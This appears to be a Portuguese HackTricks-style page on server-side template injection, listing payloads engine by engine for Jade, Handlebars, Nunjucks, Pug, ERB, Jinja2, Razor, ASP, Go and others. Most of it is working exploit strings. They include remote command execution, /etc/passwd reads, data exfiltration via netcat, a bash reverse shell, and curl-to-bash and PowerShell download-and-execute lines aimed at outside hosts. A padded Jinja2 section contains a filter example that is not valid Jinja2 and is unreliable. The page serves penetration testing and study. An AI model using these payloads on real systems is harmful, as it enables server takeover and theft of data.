Ao realizar testes de penetração em um aplicativo que usa o Jade como mecanismo de modelo, é importante verificar se existem pontos de injeção de modelo no lado do servidor e tentar explorar essas vulnerabilidades para identificar possíveis riscos de segurança.

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')

#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Mais informações

patTemplate (PHP)

patTemplate é um mecanismo de modelagem PHP não compilado, que usa tags XML para dividir um documento em diferentes partes.

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Handlebars (NodeJS)

Travessia de Caminho (mais informações aqui).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Erro
  • ${7*7} = ${7*7}
  • Nada
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Mais informações

JsRender (NodeJS)

Modelo Descrição
Avaliar e renderizar saída
Avaliar e renderizar saída codificada em HTML
Comentário
e Permitir código (desativado por padrão)
  • = 49

Lado do Cliente

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Lado do Servidor

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Mais informações

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Exemplo de renderização do lado do servidor

var pugjs = require('pug');
home = pugjs.render(injected_page)

Mais informações

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Sem saída
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Erro
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Mais informações

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Erro
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Mais informações

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Mais informações

Python

Confira a seguinte página para aprender truques sobre execução de comandos arbitrários contornando ambientes restritos em python:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}




{{os.system('whoami')}}
{{os.system('whoami')}}

Mais informações

Jinja2 (Python)

Website oficial

Jinja2 é um mecanismo de template completo para Python. Possui suporte completo a unicode, um ambiente de execução integrado opcionalmente isolado, amplamente utilizado e licenciado sob a BSD.

  • {{7*7}} = Erro
  • ${7*7} = ${7*7}
  • {{foobar}} Nada
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}



{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Formato de Template

Jinja2 é um mecanismo de template popular para Python. Ele permite a criação de templates dinâmicos, onde é possível inserir variáveis, estruturas de controle e expressões dentro do código HTML. Os templates Jinja2 são salvos com a extensão .html e podem ser renderizados pelo servidor web.

Injeção de Template do Lado do Servidor (SSTI)

A Injeção de Template do Lado do Servidor (SSTI) é uma vulnerabilidade que ocorre quando um aplicativo web permite que o usuário insira código malicioso em um template. Isso pode levar à execução de código arbitrário no servidor, permitindo que um invasor comprometa o sistema.

Explorando a Injeção de Template do Lado do Servidor

Para explorar a SSTI, é necessário identificar onde o código injetado é processado e renderizado pelo servidor. Em muitos casos, os aplicativos web usam o mecanismo de template Jinja2 para renderizar os templates. Portanto, é importante entender a sintaxe e as funcionalidades do Jinja2 para explorar essa vulnerabilidade.

Sintaxe do Jinja2

O Jinja2 usa uma sintaxe semelhante ao Python para inserir variáveis e expressões nos templates. As variáveis são colocadas entre chaves duplas {{ }}, enquanto as estruturas de controle são colocadas entre chaves percentuais {% %}. Além disso, é possível usar filtros para modificar os valores das variáveis.

Exemplo de Template Jinja2

Aqui está um exemplo de um template Jinja2 básico:

<!DOCTYPE html>
<html>
<head>
    <title>Exemplo de Template Jinja2</title>
</head>
<body>
    <h1>Bem-vindo(a), {{ nome }}!</h1>
    <p>Seu saldo atual é de R$ {{ saldo | floatformat(2) }}.</p>
</body>
</html>

Neste exemplo, o template exibe uma mensagem de boas-vindas com o nome do usuário e o saldo atual formatado com duas casas decimais.

Prevenção da Injeção de Template do Lado do Servidor

Para prevenir a SSTI, é importante validar e sanitizar todas as entradas do usuário antes de processá-las nos templates. Além disso, é recomendado desabilitar recursos perigosos do Jinja2, como a execução de código Python.

Conclusão

A Injeção de Template do Lado do Servidor é uma vulnerabilidade séria que pode permitir a execução de código arbitrário no servidor. Ao entender a sintaxe e as funcionalidades do Jinja2, é possível explorar essa vulnerabilidade e tomar medidas para preveni-la.

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}

RCE não dependente de __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Mais detalhes sobre como abusar do Jinja:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Razor (.Net)

  • @(2+2) <= Sucesso
  • @() <= Sucesso
  • @("{{code}}") <= Sucesso
  • @ <= Sucesso
  • @{} <= ERRO!
  • @{ <= ERRO!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3cAcwBcAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

O método System.Diagnostics.Process.Start do .NET pode ser usado para iniciar qualquer processo no servidor e, assim, criar um webshell. Você pode encontrar um exemplo de aplicativo da web vulnerável em https://github.com/cnotin/RazorVulnerableApp

Mais informações

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nada
  • <%= response.write(date()) %> = <Data>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Mais Informações

Mojolicious (Perl)

Mesmo sendo perl, ele usa tags como ERB em Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Erro
<%= perl code %>
<% perl code %>

SSTI em GO

Para confirmar que o mecanismo de template usado no backend é Go, você pode usar esses payloads:

  • {{ . }} = estrutura de dados sendo passada como entrada para o template
  • Se os dados passados forem um objeto que contém o atributo Password, por exemplo, o payload anterior vazaria isso, mas você também poderia fazer: {{ .Password }}
  • {{printf "%s" "ssti" }} = deve exibir a string ssti na resposta
  • {{html "ssti"}}, {{js "ssti"}} = Esses são alguns outros payloads que devem exibir a string "ssti" sem as palavras "js" ou "html" no final. Você pode consultar mais palavras-chave no mecanismo aqui.

Exploração de XSS

Se o servidor estiver usando o pacote text/template, é muito fácil alcançar o XSS simplesmente fornecendo seu payload como entrada. No entanto, isso não é o caso com html/template, pois ele codifica a resposta em HTML: {{"<script>alert(1)</script>"}} --> &lt;script&gt;alert(1)&lt;/script&gt;

No entanto, o Go permite DEFINIR um template completo e depois chamá-lo posteriormente. O payload será algo como:
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}

Exploração de RCE

A documentação para o módulo html/template pode ser encontrada aqui, e a documentação para o módulo text/template pode ser encontrada aqui, e sim, elas são diferentes, muito diferentes. Por exemplo, em text/template, você pode chamar diretamente qualquer função pública com o valor "call", no entanto, esse não é o caso com html/template.

Se você deseja encontrar um RCE em Go via SSTI, saiba que, assim como você pode acessar o objeto fornecido ao template com {{ . }}, você também pode chamar os métodos do objeto. Portanto, imagine que o objeto passado tenha um método chamado System que executa o comando fornecido, você pode abusar dele com: {{ .System "ls" }}
Portanto, provavelmente você precisará do código-fonte. Um código-fonte potencial para algo assim seria:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Mais informações

Mais Exploits

Verifique o restante em https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection para mais exploits. Você também pode encontrar informações interessantes sobre tags em https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}

Ajuda Relacionada

Se você acha que pode ser útil, leia:

Ferramentas

{% embed url="https://github.com/epinna/tplmap" %}

Lista de Detecção de Força Bruta

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Prática e Referências

​​​RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.

{% embed url="https://www.rootedcon.com/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥